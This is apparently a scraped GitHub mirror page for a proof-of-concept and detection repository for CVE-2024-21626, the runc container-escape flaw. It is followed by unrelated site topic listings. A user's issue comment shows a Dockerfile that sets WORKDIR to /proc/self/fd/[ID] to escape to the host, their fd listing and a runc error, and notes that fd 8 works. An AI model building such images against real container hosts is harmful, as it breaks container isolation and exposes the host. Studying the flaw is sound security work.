nitrocao / cve-2024-21626 Goto Github PK
View Code? Open in Web Editor NEWPoC and Detection for CVE-2024-21626
PoC and Detection for CVE-2024-21626
I was trying to reproduce this all day yesterday but, it didnt work because I was using the wrong file descriptors.
Following are the fd in my Demo VM:
ls -lah /proc/self/fd
total 0
dr-x------ 2 rago rago 4 Feb 2 08:22 .
dr-xr-xr-x 9 rago rago 0 Feb 2 08:22 ..
lrwx------ 1 rago rago 64 Feb 2 08:22 0 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb 2 08:22 1 -> /dev/pts/0
lrwx------ 1 rago rago 64 Feb 2 08:22 2 -> /dev/pts/0
lr-x------ 1 rago rago 64 Feb 2 08:22 3 -> /proc/8465/fd
And this was my demo Dockerfile:
FROM alpine:latest
# exploit the vulnerability
WORKDIR /proc/self/fd/[ID]
# runtime shell inside container
CMD ["/bin/sh"]
I tried with every fd ID but it did not work:
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: error during container init: mkdir /proc/self/fd/3: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type.
If I try with the one you used, /proc/self/fd/8
, it works....but just with that ID alone!
Any idea why this is happening?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.